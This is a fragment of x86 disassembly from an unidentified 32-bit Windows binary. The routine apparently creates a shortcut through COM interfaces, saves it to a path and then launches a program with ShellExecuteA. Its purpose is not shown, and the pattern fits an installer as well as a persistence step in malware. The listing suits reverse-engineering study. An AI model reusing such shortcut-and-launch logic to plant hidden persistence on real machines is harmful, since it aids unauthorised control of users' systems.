lea eax, [ebp - 0xa8]
mov byte [ebp - 0xb8], 1
push eax
lea ecx, [ebp - 0xba]
call fcn.00409f20
mov edx, eax
lea ecx, [ebp - 0x530]
call fcn.004693c0
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x548]
call fcn.00469360
add esp, 4
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x7f
call fcn.004653c0
lea ecx, [ebp - 0x548]
call fcn.00402660
lea ecx, [ebp - 0x530]
mov byte [ebp - 4], 0x7d
call fcn.00402660
sub esp, 0x18
lea eax, [ebp - 0x40]
mov ecx, esp
push eax
call fcn.004655b0
call fcn.0040ba20
add esp, 0x18
test al, al
jne 0x44790e
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x44790e
lea eax, [ebp - 0x5c]
push eax
push 0x50c4e0
push 1
push 0
push 0x50c510
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x447908
mov eax, dword [ebp - 0x5c]
lea ecx, [ebp - 0x248]
mov eax, dword [eax]
mov esi, dword [eax + 0x50]
call fcn.004027a0
push eax
push dword [ebp - 0x5c]
call esi
mov eax, dword [ebp - 0x5c]
lea ecx, [ebp - 0xa8]
mov eax, dword [eax]
mov esi, dword [eax + 0x1c]
call fcn.004027a0
push eax
push dword [ebp - 0x5c]
call esi
mov ecx, dword [ebp - 0x5c]
lea edx, [ebp - 0x258]
push edx
push 0x50c4f0
push ecx
mov eax, dword [ecx]
call dword [eax]
test eax, eax
js 0x4478ff
push 0x208
lea eax, [ebp - 0x9a8]
push 0
push eax
call fcn.004de6d0
add esp, 0xc
lea eax, [ebp - 0x9a8]
lea ecx, [ebp - 0x40]
push 0x104
push eax
push 0xffffffffffffffff
call fcn.004027a0
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [ebp - 0x258]
lea edx, [ebp - 0x9a8]
push 1
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x18]
mov eax, dword [ebp - 0x258]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x5c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
lea ecx, [ebp - 0x40]
call fcn.00402660
lea ecx, [ebp - 0x248]
call fcn.00402660
lea ecx, [ebp - 0x20c]
mov byte [ebp - 4], 0x4e
call fcn.00402660
lea ecx, [ebp - 0x4c4]
call fcn.004027a0
lea ecx, [ebp - 0x133]
mov dword [ebp - 0x133], 0x602160a
mov esi, eax
mov word [ebp - 0x12f], 0x100
call fcn.0040b3a0
push 1
push 0
push 0
push esi
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
sub esp, 0x18
lea eax, [ebp - 0x580]
mov ecx, esp
push eax
call fcn.004655b0
call fcn.0041f060
add esp, 0x18
lea ecx, [ebp - 0x454]
call fcn.00402660
lea ecx, [ebp - 0xa8]
call fcn.00402660
lea ecx, [ebp - 0x2b8]
call fcn.00402660
lea ecx, [ebp - 0x4c4]
call fcn.00402660
lea ecx, [ebp - 0x36c]
call fcn.004677b0
lea ecx, [ebp - 0x270]
call fcn.00402660
lea ecx, [ebp - 0x2fc]
call fcn.004677b0
lea ecx, [ebp - 0x2c4]
call fcn.004677b0
lea ecx, [ebp - 0x568]
call fcn.00402660
lea ecx, [ebp - 0x43c]
call fcn.00402660
lea ecx, [ebp - 0x620]
call fcn.00402660
lea ecx, [ebp - 0x580]
mov byte [ebp - 4], 7
call fcn.00402660
lea ecx, [ebp - 0x47c]
call fcn.004622b0
lea eax, [ebp - 0x5b0]
push eax
lea ecx, [ebp - 0x47c]
call fcn.00466ae0
mov ebx, dword [ebp - 0xdc]
test al, al
je 0x444fa0
lea ecx, [ebp + 8]
call fcn.00402660
lea ecx, [ebp + 0x20]
call fcn.00463050
lea ecx, [ebp + 0x30]
call fcn.00463050
lea ecx, [ebp + 0x40]
call fcn.00463050
lea ecx, [ebp + 0x50]
call fcn.00463050
lea ecx, [ebp + 0x60]
call fcn.00463050
lea ecx, [ebp + 0x70]
call fcn.00463050
lea ecx, [ebp + 0x80]
call fcn.00402660
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret